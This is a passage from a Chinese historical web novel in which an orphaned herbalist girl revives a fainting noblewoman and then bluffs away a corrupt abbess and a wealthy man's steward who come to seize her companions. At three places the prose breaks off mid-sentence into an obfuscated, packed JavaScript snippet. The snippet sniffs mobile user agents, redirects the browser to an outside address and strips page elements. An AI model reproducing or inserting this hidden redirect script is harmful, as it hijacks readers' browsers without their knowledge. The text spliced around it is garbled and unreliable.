许娇娇本就惊魂未定，被他呵斥一通，火气也上来了。她挣了挣胳膊，没挣开，便抬眼迎上他的目光，也不怯场：“公子这话好没道理。方才人群大乱，若不是我抓着你，怕是早被踩在下面了。我谢你还来不及，你反倒先怪罪我？何况我也不是故意抓皱你的衣裳，大不了我赔礼道歉便是，何必这般咄咄逼人？” “赔礼道歉？”少年像是听到了什么笑话，嗤笑一声，“你可知这衣裳值多少银子？够你们乡下人吃半年的了。一句道歉就想了事？”他说着，又嫌恶地瞥了瞥许娇娇沾了泥点的粗布衣裳，“还有，方才你竟还咬了我的随从？若不是人群冲散了，我定要让你给我的人赔罪。” 许娇娇这才想起，刚才慌乱中确实咬了一只扒拉她的手，想来是这少年的随从。她心里微有歉意，但嘴上却不肯服软：“当时人挤人，我若不咬他，怕是早被推下去了。公子若是要我赔罪，等我找到我的同伴，定当登门致歉。但现在，还请公子先放开我，我得去找她们。” 少年见她既不卑躬屈膝，也不惊慌失措，反倒理直气壮，不由愣了一下。他长这么大，身边的人不是阿谀奉承，就是唯唯诺诺，还从未见过这般野气的乡下丫头。他的洁癖让他对许娇娇碰过自己的地方耿耿于怀，可看着她那双清亮的眼睛，竟一时不知该如何发作。 “郎君，郎君你在哪儿？”不远处传来几声焦急的呼喊，是随从的声音。 少年听见喊声，眉头皱得更紧，显然是在找他。他看了许娇娇一眼，语气依旧傲慢：“算你运气好，我没空跟你计较。下次再这般莽撞，定不轻饶。”说着，松开了攥着她胳膊的手，又取出一方锦帕，仔仔细细地擦了擦自己的手指，仿佛碰了什么不洁之物。 许娇娇揉了揉被抓得发疼的胳膊，看着他转身要走，心里暗骂了一句“臭脾气的小郎君”，正要转身往巷子深处去找静尘和静心，却忽然听见不远处传来一阵急促的呼救声： “救命！快来人啊！我家娘子晕过去了！”“有没有懂医术的？求求各位，救救我家娘子！” 许娇娇心里一紧，顾不上找同伴，循着声音就冲了过去。只见方才那顶小轿歪斜着，四周围了一圈人，轿夫和仆从急得团团转，地上躺着一位锦衣华服的小娘子，正是方才掀着轿帘露出侧脸的那位。她面色惨白，嘴唇发紫，双手紧紧攥着胸口，呼吸急促得像是要断气，眼看就要不行了。 “让让！我懂点医术！”许娇娇挤开人群，蹲下身去。 仆从们见她只是个穿着粗布衣裳的乡下丫头，顿时面露怀疑：“你一个小丫头，懂什么医术？起开，别碍事，耽误了我家娘子的性命，你担待得起吗？” “都什么时候了，还管这些！”许娇娇急道，“她这是急惊风加上心气郁结，再耽搁下去，怕是真的救不回来了！” 她一边说，一边伸手探了探那小娘子的脉搏——脉搏细促，杂乱无章，果然是急症。许娇娇想起自己随身带的小布包，里面装着她根据前世记忆配制的急救药丸，用薄荷、冰片、少量麝香和几味安神理气的草药制成，专治突发的气厥、惊风，效果立竿见影。 她顾不上多想，从布包里掏出一个小小的瓷瓶，倒出一粒褐色的药丸，又让仆从找来水，撬开那小娘子的嘴，把药丸和水一起喂了进去。 “你给我家娘子吃的什么？要是出了差错，我定不饶你！”领头的一位年纪大概三十岁左右、看模样是位管事嬷嬷，她脸色发白，紧张中带着色厉内荏的气势，伸手就要去拉许娇娇。 “别动！”许娇娇喝止她，伸手在小娘子的人中、合谷等穴位上快速按压。她的动作利落，手法娴熟，全然不像个乡下小丫头，反倒让周围的人都安静了下来。 约莫过了一盏茶的工夫，那小娘子的呼吸渐渐平稳下来，脸色也恢复了一丝血色，眼睛微微睁了开来，虚弱地喘着气：“水……水……” “娘子醒了！真的醒了！”仆从们大喜过望，连忙递上水。 许娇娇松了口气，擦了擦额头上的汗，站起身来。她刚要退到人群外，却被那位嬷嬷叫住了：“你……那位小丫头，你别走。” 许娇娇停下脚步，回头看她。那嬷嬷神色复杂地看着她，“小娘子别走，你救了我家娘子，老婆子多谢你。”说着俯身行了一礼。 那位被救的小娘子这时也撑着身子坐起来，对着她微微欠身：“多谢姑娘救命之恩。敢问姑娘高姓大名？家住何处？改日我定当登门拜谢。” “举手之劳，不必客气。”许娇娇摆了摆手，“我只是路过，略懂些医术罢了。” 她心里还记挂着静尘和静心，只想赶紧找到她们。可就在这时，方才那个傲娇的少年竟也挤了过来，他显然也看到了方才的一幕，看向许娇娇的眼神里多了几分诧异。 “你这丫头，倒还有些本事。”少年抱臂站在一旁，语气依旧带着几分倨傲，却不再是全然的鄙夷，“不过这药丸到是不错，是哪里来的？在哪个铺子购买的？看着倒不像寻常的丸药。” “我自己配着玩的。”许娇娇语气不怎么好的回答。 “你这野丫头！”那少年见许娇娇的态度似乎还在记恨刚才的事，他也有些气恼，更多的却是懊恼。一个乡下野蛮丫头，恁的粗鲁，他狠狠瞪了一眼许娇娇，转身走了。 许娇娇懒得理他，只是对着那小娘子拱了拱手：“娘子无碍便好，我还要去找我的同伴，先行告辞了。” “等等！”小娘子忙叫住她，让仆从取来一锭银子，递到许娇娇面前，“这点薄礼，还请姑娘收下，权当谢礼。” 许娇娇看了看那锭足有五两重的银子，摇了摇头：“我救人不是为了银子。何况这药丸也不值什么，娘子不必如此。” 她说完，转身就往人群外挤。刚走没几步，就听见身后传来少年的声音：“喂！野丫头，你叫什么名字？家住哪里？” 许娇娇诧异，他不是生气走了吗？ 随即有点失笑，一个还在青春期的少年，何必跟他一般见识。于是也不回头，只扬了扬手：“萍水相逢，不必留名。公子若是还记恨我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“小施主，你方才去了何处？是不是遇到事了？”静尘见她神色恍惚，轻声问道。 许娇娇便把方才救人的事说了一遍，只是略过了和少年争执的部分。静尘听了，连连感叹：“你这孩子，胆子也太大了。不过幸好你救了那位娘子，也是积德行善了。” 静心也凑过来，满眼崇拜：“娇杏妹妹，你真厉害！连城里的贵娘子都能救，比那些郎中还厉害！” 许娇娇笑了笑，没多说什么。她靠在车栏上，望着窗外掠过的夜色。 可她不知道的是，此刻的菰城灯楼下，那位被救的贵女已被仆从簇拥着坐回了暖轿。她脸色依旧苍白，眼神却已恢复清明，正对着心腹嬷嬷低声吩咐：“嬷嬷，派人去寻方才那位救我的小娘子。务必要找到，好生答谢。我看她临危不乱，施救手法利落精准，绝非寻常乡野女子，此等人物，不可失之交臂。” “是，娘子。”嬷嬷应下，又心疼地为她拢了拢披风，“娘子今日受惊了，咱们快些回府吧。” “嗯。”贵女微微颔首，目光却不由自主地望向方才混乱的街口，似在寻找什么。忽然，她像是想起什么，苍白的脸上倏地飞起一抹极淡的红晕，声音也低了下去：“方才……乱成那样，也不知都有谁瞧见了。莫要让不相干的外人传了闲话去。” 她这话说得含蓄，嬷嬷却立刻心领神会——自家娘子最是在意仪态风评，今日当街晕厥，虽事出有因，却难免怕落了话柄。嬷嬷忙宽慰道：“娘子放心，咱们的人围得严实，断不会有闲杂人等靠近。纵有几个瞧见的，也绝不敢胡吣。” 贵女轻轻“嗯”了一声，指尖却无意识地攥紧了袖口，另一重更隐秘的心思，终究没好意思问出口。 他……方才是不是也在附近？他可看见了？ 而另一边，被随从找到的少年正上了一辆精致的马车，他靠在车座上，想起方才许娇娇救人时的模样，想起她那双清亮又带着韧劲的眼睛，还有她那句“就当今日是我救你一回，两清了”，竟忍不住轻笑了一声。 “郎君，您笑什么？”随从见他难得露出笑意，好奇地问道。 少年收了笑，恢复了那副傲娇的模样，却又忍不住摸了摸被抓皱的衣领，语气带着几分玩味：“没什么。只是遇到了个可恶的野丫头罢了。” 马车缓缓驶离，融入菰城的夜色里。 往城外去的牛车，也渐渐消失在官道尽头。山中的风，带着寒意，吹起许娇娇额前的碎发。她望着满天星子，心里想着刚才的险境——实在是太吓人了，今后还是少往人多的地方去。好不容易穿越一次，若是被人踩成肉饼，想想都让人心寒。她打了个哆嗦，静尘以为她冷了，忙伸手揽住她的肩膀，朝自己怀里带了带。 她还是个孩子呢！静尘想。 23. 第23章 水仙姑出狱了 惊蛰过后，山里的冻土渐渐松了，崖边的迎春花抽出嫩黄的花骨朵，连空气里都带着股湿润的暖意。许娇娇蹲在药圃里，小心翼翼地将刚采的柴胡幼苗栽进新翻的土里，指尖沾着泥点，额角沁出细密的汗珠。 “娇杏，歇会儿吧，这活儿不急。”静尘端着一碗晾好的凉茶走过来，青瓷碗沿沾着两片薄荷叶，“你这几日天不亮就起身侍弄药材，再熬下去身子该受不住了。” 许娇娇直起身，接过茶碗一饮而尽，清凉的薄荷味顺着喉咙滑下去，瞬间驱散了几分倦意。她抹了把汗，看向地头整齐排列的药畦，眼里满是期待：“师姐你看，这柴胡、当归要是长得好，秋末就能收了。咱们再采些夏枯草、金银花，多配几款药丸，省的张大夫总让人来催促。” 静心蹲在一旁，正用小竹片给幼苗围上挡风的篱笆，闻言抬头笑道：“娇杏妹妹真厉害，我以前在庵里时，只认得车前草、蒲公英这些常见的，哪知道草药还有这么多讲究，如今我跟着娇杏妹妹也学了不少要草药了，。” 许娇娇拍了拍她的肩膀：“慢慢来，你已经认得不少草药，晒药也会了，往后我教你如何切脉，问诊看诊，咱们学好了医术，既能救人，也能安身。” 这话不是空话。自打第一回在菰城用自制药丸救了人，许娇娇心里行医的念头就越发清晰。之前卖草药和制作药丸攒的银子，除去日常用度，又添置了一些家当，如今药圃里种着的，都是她精心挑选的常用药材。只是她心里清楚，乡下人行医最讲资历，她一个半大的丫头，就算医术再好，也难让人信服，眼下只能先从帮衬邻里做起。 正说着，山下传来旺财欢快的叫声，紧接着是孙二根粗声粗气的呼喊：“娇杏！娇杏在家吗？” 许娇娇眼睛一亮，迎了出去。只见孙二根推着推车停在院门口，车斗里装着半车新砍的柴火，他黝黑的脸上满是笑意，手里还攥着一张折起来的药方。 “娇杏！”孙二根大步走进院，将药方递到她面前，“你金桂婶的病好多了！这是镇上王大夫看了你给的方子后，添改的新方，他说你那方子底子好，就是药量得再调调！” 许娇娇接过药方，仔细看了起来。纸上的字迹工整，王大夫在她原方的基础上，减了桂枝的用量，加了一味茯苓，旁边还批注着“健脾利湿，兼顾正气”的字样。她点点头，心里有了底：“王大夫说得对，金桂婶身子虚，桂枝性温，用量多了容易上火，加茯苓正好能平衡。” 孙二根挠着后脑勺，一脸佩服：“你这孩子，比镇上的大夫还懂行！当初我把你那方子拿给王大夫看，他起初还不信是个丫头写的，说这方子配伍严谨，不像野路子。后来听我说了你阿爹的事，他才连声说‘后生可畏’。” 静尘端来板凳，给孙二根倒了碗水：“二根叔，金桂婶现在能做活了吗？” “能了能了！”孙二根喝了口水，语气越发激动，“前几日还能帮着喂猪、做饭呢！她说这方子熬的药喝着舒坦，不像以前的药，苦得烧心还没效果。这不，她让我特意来谢谢你，还让我给你捎了些新做的豆包。” 他说着，从车斗里拎出一个竹篮，里面的豆包还冒着热气，松软的面皮透着淡淡的豆香。静心凑过去闻了闻，馋得咽了口口水，惹得众人都笑了。 许娇娇收下豆包，又从屋里取出一包配好的药材，递给孙二根：“这是我这几日闲着配的食疗方子，用山药、莲子、小米熬粥，每天早上喝一碗，补身子的。” 孙二根接过药材，千恩万谢：“娇杏，你真是我们家的大恩人！以前金桂婶看病，前前后后花了好几两银子，也没见好，没想到你给的几个方子十几副药就给治利索了。” 送走孙二根，许娇娇把豆包分给静尘和静心，自己拿着那张药方回到屋里。她将药方仔细收好，又取出纸笔，把王大夫的批注和自己的思考记下来。窗外的阳光透过窗棂照进来，落在泛黄的纸上，她忽然觉得，这样的日子虽然平淡，却比前世在商场上勾心斗角要踏实得多。 日子就这么不紧不慢地过着，许娇娇每日侍弄药材、钻研医书，静尘和静心则把茅屋打理得井井有条。 自打前年传开了她会医术的事，越来越多的人来找她看病，她都分文不取，只偶尔收下村民送来的鸡蛋、蔬菜，日子倒也过得热络。 可这份平静，在四月初的一天被彻底打破了。 那天许娇娇正在晒药，李婆子挎着个竹篮匆匆忙忙地上山了，她脸色苍白，嘴唇哆嗦着，一进门就抓住许娇娇的手：“乖囡，不好了！出大事了！” 许娇娇心里一沉，连忙扶她坐下：“阿婆，您别急，慢慢说。是不是村里出什么事了？” “是水仙姑！”李婆子喝了口水，情绪才稍稍稳定些，“水仙姑被放出来了！今儿一早，县衙的人把水月庵的封条揭了，她带着两个新收的姑子，大摇大摆地回庵堂了！” “什么？”静尘和静心同时惊呼出声，静心手里的木盆“哐当”一声掉在地上，水洒了一地，她脸色惨白，浑身都在发抖，“她、她怎么会被放出来？账本和卖身契不是都被官府收走了吗？” 李婆子叹了口气：“说是新来的周明府重新审了案子，说那些证据是伪造的，证据不足无法判案，就把她给放了。村里人都说，水仙姑在府城有关系，是那个常来庵里的王大官人使了银子，这才脱了罪。” 许娇娇眉头紧锁，心里翻江倒海。她早知道水仙姑背后有人，却没想到这新县令刚上任就敢如此明目张胆地徇私。 “那、那她会不会来找我们报仇？”静心抱着胳膊，缩在墙角，眼泪在眼眶里打转，“她手里还攥着我们的卖身契呢……要是她拿着契书告官，我们就是逃奴……” 这话像一盆冷水浇在静尘头上。她原本强作的镇定瞬间崩塌，脸色煞白地跌坐在凳子上。是啊，卖身契还在水仙姑手里，那是官府认可的白纸黑字。就算她们逃到天涯海角，只要水仙姑一纸诉状，官府就能把她们当逃犯抓回来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222034|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李婆子也急道：“娇杏，你们可得当心些。今儿早上水仙姑回庵堂的时候，站在庵门口眼神毒得很，当着众人面就说要清理门户，还特意提了静尘和静心的名字，说她们偷了庵里的东西逃跑，要抓回来送官。” 许娇娇沉默了片刻。她心里清楚，水仙姑这次有恃无恐地回来，绝不只是放几句狠话那么简单。那个王大官人既然能打通县令的关节，就说明他们在本地已经织起了一张网。而她自己——一个父母双亡的孤女，在水仙姑眼里恐怕跟只蚂蚁没区别，想捏死随时都能捏死。 她想起刚穿越来时，在茅草屋病得奄奄一息的情形。一个哑巴孤女，病死了还得费事埋，不如趁早丢出去，死在外头干净。落溪村的村民都说她命硬克死了父母，水仙姑也信这个，生怕被她克到。 现在想来，水仙姑怕是肠子都悔青了——当初怎么就没把这个克星彻底弄死，反而让她活了下来，还反过来捅出这么大的篓子。 “阿婆，谢谢您特意跑来告诉我。”许娇娇深吸一口气，脸上努力维持着平静，“您先回去，这几日尽量别往山上来，免得牵连您。” 送走忧心忡忡的李婆子，茅屋里的空气沉重得能拧出水来。 静心终于忍不住哭出声：“怎么办……我们逃吧，逃得远远的……” “往哪儿逃？”静尘苦笑着摇头，“没有路引，我们连县城都出不去。就算逃出去了，被抓住就是死路一条。” 许娇娇走到窗边，望向水月庵的方向。远山如黛，庵堂的屋顶在绿树丛中若隐若现，看似平静，却像一头蛰伏的野兽，随时可能扑过来撕咬她们。 她知道，水仙姑现在一定恨毒了她。若不是她在庵里病倒时没下狠手，若不是当时只想着把这个克星丢出去自生自灭，就不会有后来这么多事。水仙姑肯定在想：一个孤女，怎么就把她害得进了大牢？虽然只在牢里待了大半年，但那一定是她这辈子最大的耻辱。 而现在，水仙姑脱身了，靠着王大官人的关系和银子，靠着和新县令的交情。她怎么可能咽下这口气？ “我们不能逃。”许娇娇转过身，眼神坚定，“逃了就是认罪，逃了就是承认卖身契有效。我们必须留下来，正面应对。” “可我们拿什么应对？”静尘的声音发颤，“她手上有我们的卖身契，那是官府盖过印的。就算我们说她拐卖，空口无凭，新县令会信我们吗？” 许娇娇走到桌前，铺开纸笔：“所以我们需要更有力的证据，需要能把案子捅到更高处的人。” 她开始写信，写给菰城的张东家，写给所有可能帮得上忙的人。她不知道这些信能起多大作用，但这是她现在唯一能做的。 她给落溪村的赵秀才也写了一封信。 接下来的几天，山里的气氛一天比一天紧张。旺财变得异常警觉，稍有风吹草动就狂吠不止。静尘和静心夜里睡不安稳，常常从噩梦中惊醒，梦见被官差抓走，梦见又回到水月庵那个暗无天日的地方。 24. 第24章 空城计 许娇娇表面镇定，心里却像压了块石头。她一边加紧配制各种防身的药粉——迷魂香、痒痒粉、暂时让人四肢无力的麻沸散，一边教静尘和静心怎么使用。又在院子周围布置了简易的陷阱和警报装置，用细绳串起铜铃，藏在草丛里。 她很清楚，水仙姑不会等太久。以那个女人的狠毒与心急，怕是恨不得立刻就把静尘静心抓回去折磨。果然，第五日午后，山下传来了不同寻常的喧哗。许娇娇攀上屋后高石眺望，心倏地一沉。只见一队穿公服的人正沿山路而上，为首是个留山羊胡的官差，旁边跟着的，正是身着崭新僧袍、手捻佛珠却满脸阴笑的水仙姑！更让她心头警铃大作的是，水仙姑身侧还有个穿绸缎长衫、体态微胖的中年男子，看气度衣着，像是个颇有体面的管事。 “她们带官差来了……”静心的声音在发抖。静尘紧紧攥住许娇娇的手，指尖冰凉：“娇杏，我们……” “别慌。”许娇娇压下心头翻涌的寒意，语速快而清晰，“按商量的做。静心，立刻下地窖，无论如何别出声。师姐，药粉分装好，藏妥。” 她自己迅速回屋，从床底拖出早已备好的小木箱。院门被粗暴拍响时，许娇娇已立在院中，腰背挺直。门开，山羊胡男子带着四名公人闯入，水仙姑与那王管事尾随其后。男子扫视一眼简陋院落，目光钉在许娇娇身上：“你就是许娇杏？” “正是民女。”许娇娇不卑不亢。 “好。”男子自袖中取出一纸文书，抖开，“我乃归平县衙押司胡文。水月庵主持水仙师父，状告你拐带庵中女尼静尘、静心，并盗取庵产。此乃明府大人签发拘票，跟我们走一趟吧。” 水仙姑脸上胜利者的笑容几乎压不住。能站在这里，本身就是信号——原以为栽定了，不料王大官人上下打点，又逢前任县令调任、新知县周大人初来乍到不谙内情，竟真被他寻着关节，以“证据尚需核实”为由，将她捞出。这让她底气更足，恨意也更深。 “许娇杏，”她尖声上前，抖出两张泛黄的纸，“看清楚了！静尘、静心的卖身契在此！白纸黑字，她们生是我庵里的人，死是我庵里的鬼！你一个不知哪儿来的野种，也配跟我斗？” 一旁的王管事这才慢悠悠踱步上前。他约莫四十，面容精干，嘴角习惯性噙着一丝客气却疏离的笑。先是对胡押司拱了拱手，才转向许娇娇，语气平和得像在谈论天气，内容却淬着冰：“许小娘子，年少意气，可以体谅。不过，契据是衙门认的死理。水仙师父的人，理当由她领回。今日之事，依鄙人看，不如就此了结。你将人交还，磕头赔个不是，我们老爷念你年幼无知，或可不再追究拐带、诬告之责。若真闹到公堂之上……”他略拖长语调，未尽之意比直白的威胁更让人心头发寒。“于你，于周明府新上任的官声，恐怕都无益处。我们老爷，也是一片维护地方安宁、体恤父母官的苦心。” 许娇娇看着眼前三张面孔——胡押司的公事公办里藏着为难，水仙姑的色厉内荏，王管家那将王家权势与衙门体面巧妙捆绑的绵里藏针。他们根本没打算与她平等对话。 “胡押司，”她抬起头，声音清晰镇定，“水仙姑告我拐带，可有实证？两位姐姐自称是被略卖的苦主，与此纸来历不明的契据，孰真孰假，难道不该当堂对质、细加审问？仅凭一纸疑点重重的文书便定案拿人，恐难服众，亦有损衙门明察之誉。” 胡押司皱眉，硬声道：“契据在此，便是凭证！休得胡搅蛮缠，妨害公务！” “若是拐卖，这卖身契本身便是赃证，何来合法凭证之说？”许娇娇毫不退让，目光清亮，“民女这里，倒有证据指向水月庵多年来拐卖女子、逼良为娼之实。相关证物证言，此前已有人送往江南东路提点刑狱司衙门。胡押司今日若执意强行拿人，只怕日后刑狱司过问起来，不好交代。” 胡押司脸色微变，不由侧目看向王管家，眼神透出请示之意。牵扯到跨路级的刑狱司，已超出他一个小小押司能处置的范围。 王管家冷哼一声，眼中锐光一闪：“黄口小儿，也敢妄言宪司之事？你说有人送证据，人何在？物何在？空口白话，谁不会编？” 水仙姑趁机尖声煽动：“胡押司！别听这小贱人妖言惑众！她最会骗人！快抓起来！” 公人上前两步，气氛骤紧。许娇娇面色不变，不疾不徐地从袖中取出数页折叠整齐的纸，展开。纸张洁净，墨迹工整有力。 “此乃依照原本送往菰城张记生药铺张东家、刑狱司衙门，以及元宵夜我所救那位小娘子府上的书信，一字不差誊抄的副本。”她将纸页微微示出，最上方“菰城刑狱司衙门谨启”一行字清晰可见，“信中详述水月庵诸般恶行，并写明——若我今日蒙冤遭难，必是有人勾结官府，欲行灭口掩盖之事。” 她抬眼，目光扫过脸色骤变的水仙姑与眼神游移的胡押司，最终落在王管家脸上：“真信已于半个时辰前，由可靠之人携往山下。若我平安，此事或尚有转圜余地；若我今日身陷囹圄或遭遇不测……”她将誊抄的信纸缓缓收回袖中，声音不高，却字字凿心：“这些副本，便是明日呈交各位收信人手中，用以核验真伪、追问下落的凭据。到那时，来的恐怕就不止县衙的差爷了。王管家，王大官人与周明府既是故交，当知官场最忌何事——那便是小事闹大，捅破天去。你们今日若执意以权压人，明日，周明府包庇略卖、欺压孤女的传闻，便会直达府城。届时，您这位故交的新官位子，还坐得稳吗？” 王管家的脸终于沉了下来。他死死盯着许娇娇手中的信纸，眼神阴晴不定。老爷确实打点过，但这新任的周县令，老爷也提过，似乎比前任更难揣摩，并非能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222035|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻易拿捏之人。此番派他来，是看重他办事稳妥。若真在这小阴沟里翻了船，坏了大局……老爷的怒火他承受不起。更棘手的是，这丫头的话半真半假，万一真有人证物证已送出，万一真闹到刑狱司……“你吓唬谁？！”水仙姑急了，扯着胡押司的袖子，“快抓人啊！她虚张声势！” “住口！”王管家突然厉声喝道，狠狠瞪了水仙姑一眼。他深吸一口气，走到许娇娇面前，压低声音，每个字都像是从牙缝里挤出来的：“小娘子，好胆色，好心计。但你要想清楚，跟我们老爷作对，是以卵击石。今日我可以暂且退一步，但卖身契还在，只要老爷愿意，随时可以再来’请’你。” 许娇娇迎上他冰冷的目光，毫无惧色：“王管家，鱼死网破，非我所愿。但若贵府执意要将略卖良人、通奸犯科乃至贿赂官员这些勾当，从一桩民间纠纷，闹成一件惊动宪司、直达天听的刑案，我也只好奉陪到底。您不妨猜猜，府城的青天大老爷，是更信一纸来历不明的旧契，还是更信活生生的人证、层层转手的赃银线索，以及……一个拼死也要将真相大白于天下的孤女？” 两人目光在空中交锋，空气仿佛凝固，针落可闻。胡押司与公人们面面相觑，无人敢动。良久，王管家后退一步，脸上挤出一个冰冷的假笑：“好，好得很。许娇杏，今日算你狠。我们走。”他转身，不再看任何人，拂袖而去。 水仙姑愣在原地，满脸不甘与怨毒，却被王管家带来的两名仆从半拉半劝地拽走。胡押司深深看了许娇娇一眼，带着公人匆匆跟上。院门重新合上，喧嚣远去，只余下山风穿过竹林的低啸。 静尘从屋后闪出，脸色苍白，扶住门框才站稳。静心也战战兢兢爬出地窖。 许娇娇站在原地，直到那队人马彻底消失在山路尽头，才缓缓吐出一口一直憋在胸口的浊气，后背衣衫，已被冷汗浸湿。她知道，这仅仅是第一回合。暂时的退却，意味着更凶险的算计，将在暗中酝酿。 “娇杏妹妹，他们真的走了？”静心小心翼翼的问。 “暂时走了。”许娇娇深吸一口气，“但还会再来的。王管家今天退让，是因为他还要去请示王大官人，或许他也有顾忌，不想把事情闹大，不是因为他怕我们。” 她走到院门口，望着下山的路。夕阳把山峦染成血色，风中带着晚春的暖意，她却感到一股刺骨的寒意。 水仙姑不会罢休，王大官人恐怕也不会。她这是唱了一出空城计。用几封还没送出的信，一些不知道送往何处的证据。 “娇杏妹妹，我们接下来怎么办？”静尘轻声问，眼里的担忧让许娇娇心里一酸，她转过身，看着眼前这位善良的姐姐，看着静心胆小却对她充满了信任的眼神，还有这山中唯一的栖身之地，看着药圃里刚刚冒头的嫩苗。 “别怕”她说。 25. 第25章 搬离山中 水仙姑回到水月庵的第七日，庵堂前的香炉里只积了薄薄一层香灰。 往日里这个时节，正是春耕前后，附近几个村子的妇人都会结伴来烧香求个风调雨顺、家宅平安。可如今，庵门大开却门可罗雀，只有山风吹过檐角的铜铃，发出零丁孤寂的声响。 水仙姑站在正殿门口，看着空荡荡的院子，脸色阴沉得能滴出水来。她身上那件崭新的僧袍在日光下泛着刺眼的绸光，手里捻着的佛珠被她捏得咯吱作响。 “慧明！”她厉声喝道。 一个约莫十三四岁的小尼姑慌慌张张从侧殿跑出来，垂着头不敢看她：“师父有何吩咐？” “今早可有人来上香？” 慧明怯生生地摇头：“没、没有……只有一位老阿婆在门外张望了一下，见庵里冷清，转身就走了。” “废物！”水仙姑手中的佛珠狠狠砸在慧明额头上，小尼姑痛呼一声，却不敢躲闪，只捂着额头眼泪汪汪地站在原地。 “去，把庵门给我关上！”水仙姑转身走进大殿，看着莲花座上积了灰的观音像，心里的怒火越烧越旺。 自从她回来，这水月庵就彻底变了样。以往香火钱收得盆满钵满，现在别说香火钱，就是米粮都要她自掏腰包从镇上买。那些往日里巴结她的乡绅富户，如今都推说有事不肯登门。最让她恼火的是，连落溪村那些泥腿子都敢对她指指点点了！ 昨天她去镇上采买，经过集市时，分明听见几个妇人在背后窃窃私语：“听说没？就是她，在庵里偷汉子……”“何止呢！我表姑家的小囡说，她专骗外地来的孤女，转手就卖到见不得人的地方去！”“官府怎么就把她放出来了？”“嘘——小声点，人家背后有人……” 那些话像烧红的针，一根根扎进水仙姑耳朵里，烫得她心口发疼。她当时恨不得冲上去撕烂那几个长舌妇的嘴，可她不能——王大官人把她捞出来时，那双总是带笑的眼睛里透着寒意，再三警告她：“风头没过，夹起 巴做人。” “夹起尾巴……”水仙姑咬牙念着这四个字，指甲狠狠掐进掌心。想她年轻时在汴梁西街瓦子的翠玉楼，那也是轰动一时的头牌玉芙蓉，若非当年那场要命的官司逼得她仓皇南逃，怎会沦落到这穷乡僻壤，在庵堂里扮什么尼姑！ 这水月庵原是她那蠢表姐了尘出家修行的地方。她一路逃到归平县，对着表姐一顿哭诉卖惨，才得了这处容身之所。谁曾想，她很快便攀上了这县里真正的佛——王大官人王兆贵。那男人有钱有势，在归平县横着走，她只稍用从前在楼里学的几分手段，便叫他上了钩。 做露水夫妻有什么不好？各取所需。直到三年前那个雨夜，她与王兆贵在禅房里厮混，被突然回来的了尘撞个正着。了尘那张惊骇欲绝、仿佛看着世上最脏东西的脸，瞬间点燃了她心里积压多年的恐惧。 不能让她说出去。 恶念一起，便再压不住。她失手——或者说，是顺水推舟地——捂死了了尘。王兆贵起初也骇然，但很快，那双精明的眼睛里便只剩下权衡。他帮她处理了尸首，对外宣称了尘急病暴毙。从此，水月庵彻底成了她的地盘，更成了他们合伙生意的绝佳掩护——从南边拐来孤女童男，往北边那些见不得光的地方送。 这本是一桩神不知鬼不觉、钱来得又快又稳的好买卖。谁曾想，一切竟会坏在一个半路冒出来的、克死爹娘的小贱人许娇杏手里！ 果然是刑克之人，专来克我的！ 想到今日，她好不容易求了王兆贵派人来，满以为能捏死那丫头、抓回静尘静心，结果王进那狗才非但没办成事，竟还当着她的面被那丫头用几封信唬住了，灰溜溜地撤了！ 奇耻大辱！ 王兆贵避而不见，只派条狗来敷衍她；街上贱妇指指点点；连到嘴的鸭子都飞了……这一切，都是因为许娇杏。 一股混杂着恐惧、怨恨和破罐破摔的毒火，猛地窜上心头。 不能再等了。 风头？去他娘的风头！ 她得想个法子，一个一劳永逸、让那个刑克贱人永远闭上嘴的法子。 “师父。”另一个小尼姑慧净小心翼翼走进来，“斋饭准备好了。” 水仙姑瞥了一眼桌上的清粥小菜，顿时火冒三丈：“就这些？连点像样的菜都没有？” 慧净吓得直哆嗦：“师父，庵里的存粮不多了，香油钱也……” “够了！”水仙姑猛地一拍桌子，“去，把后殿那些箱笼打开，取些银钱出来，明日去镇上买些鱼肉回来！” 慧净和慧明对视一眼，都从对方眼里看到了惶恐。那些箱笼里装着的，是水仙姑这些年积攒的家当，也是官府查封时漏网的那些——王大官人早一步派人转移出来的。她们都知道，这些东西见不得光。 “还愣着干什么？快去！”水仙姑厉声道。 两个小尼姑慌忙退下。 水仙姑独自坐在空荡荡的大殿里，听着山风穿过回廊的呜咽声，一种前所未有的恐慌攫住了她。她奋力了这么多年，好不容易得到的一切，一夜之间都化为虚无。她忽然意识到，就算人回来了，有些东西也回不来了——名声、威望、那些任她摆布的香客…… 而这一切，都是拜许娇杏，那个哑巴妖女所赐。 “许娇杏……”她从牙缝里挤出这个名字，“我不收拾你，我就不叫水仙姑！” 同一时间，落溪村后山。 许娇娇正蹲在药圃里查看新一批柴胡的长势，嫩绿的叶片在春风中舒展，长势喜人。可她心里却像压了块石头，沉甸甸的。 “娇杏妹妹，你看这株当归，叶子发黄是怎么回事？”静尘抱着一筐刚采的薄荷走过来，指着药畦一角问道。 许娇娇走过去仔细看了看：“是土太湿了，排水不好。等会儿在周围挖条浅沟，把积水引出去就好。”她说着站起身，擦了擦额角的汗，却没有立刻动手，反而望着远处的山道出神。 “师姐，”她忽然轻声开口，“这几日，我总有些心神不宁。” 